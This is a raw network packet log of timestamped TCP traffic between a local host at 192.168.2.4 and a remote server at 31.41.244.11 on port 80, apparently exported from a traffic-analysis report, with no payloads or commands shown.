                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.552103996 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.552131891 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.552150011 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.557379007 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.557432890 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.557435036 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.557482958 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.562676907 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.562695980 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.562725067 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.562741041 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.567704916 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.567723036 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.567771912 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.572474003 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.572526932 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.572563887 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.572609901 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.577047110 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.577106953 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.577176094 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.577222109 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.581556082 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.581604004 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.581643105 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.581686020 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.586055994 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.586101055 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.586112976 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.586152077 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.589824915 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.589843988 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.589878082 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.589904070 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.593208075 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.593276978 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.593331099 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.593375921 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.596596956 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.596662045 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.596708059 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.599874020 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.599921942 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.599926949 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.599960089 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.603257895 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.603308916 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.603442907 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.603586912 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.606395006 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.606450081 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.606623888 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.606666088 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.609565973 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.609626055 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.609649897 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.609689951 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.612796068 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.612844944 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.613008976 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.613054037 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.615696907 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.615761042 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.616019011 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.616064072 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.618882895 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.618944883 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.619136095 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.619213104 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.621773005 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.621836901 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.622158051 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.622231007 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.624838114 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.624883890 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.624928951 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.624974966 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.627724886 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.627774954 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.628067017 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.628120899 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.630837917 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.630855083 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.630887032 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.630903006 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.633935928 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.634179115 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.634238958 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.636666059 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.636713028 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.636782885 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.636826992 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.638876915 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.638923883 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.639008045 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.639051914 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.641124010 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.641172886 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.641204119 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.641227961 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.699480057 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.699532986 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.699537992 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.699579000 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.700541973 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.700593948 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.700808048 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.700870037 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.702398062 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.702471018 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.702506065 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.702549934 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.704354048 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.704447031 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.704607964 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.704653978 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.706310987 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.706401110 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.706429958 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.706475019 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.708215952 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.708256960 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.708336115 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.708380938 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.710153103 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.710228920 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.710357904 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.710402012 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.712016106 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.712061882 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.712142944 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.712187052 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.713999987 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.714097023 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.714097977 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.714140892 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.715857983 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.715982914 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.716037989 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.717803955 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.717869997 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.717891932 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.717936039 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.719691992 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.719741106 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.719868898 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.720032930 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.721662998 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.721726894 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.721740961 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.721781015 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.723196983 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.723242044 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.723283052 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.723329067 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.725130081 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.725171089 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.725199938 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.725239038 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.726825953 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.726883888 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.727278948 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.727485895 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.728594065 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.728646040 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.728780985 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.728976965 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.730463982 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.730489969 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.730524063 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.730546951 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.732175112 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.732239962 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.732297897 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.733983994 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.734050989 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.734088898 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.734128952 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.735595942 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.735707045 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.735757113 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.737306118 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.737351894 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.737438917 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.737483025 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.739022970 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.739075899 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.739104033 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.739126921 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.740756035 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.740772009 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.740817070 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.742351055 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.742420912 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.742512941 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.742573023 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.744029999 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.744137049 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.744230986 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.744270086 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.745661974 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.745702028 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.745836973 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.745876074 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.747303963 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.747411013 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.747461081 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.748879910 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.748964071 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.749064922 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.749130964 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.750431061 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.750489950 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.750513077 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.750550985 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.751965046 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.752019882 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.752083063 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.752146959 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.753520012 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.753572941 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.753572941 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.753614902 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.755249023 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.755433083 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.755487919 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.756583929 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.756633997 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.756692886 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.756830931 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.758137941 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.758196115 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.758246899 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.758291960 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.759699106 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.759823084 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.759874105 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.761051893 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.761118889 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.761121035 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.761162996 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.762506008 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.762572050 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.762612104 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.762706041 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.763895988 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.763946056 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.764009953 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.764136076 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.765258074 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.765315056 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.765379906 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.765486956 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.766680956 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.766786098 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.766797066 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.766885996 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.768017054 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.768065929 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.768183947 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.768251896 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.769364119 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.769414902 CET4978780192.168.2.431.41.244.11
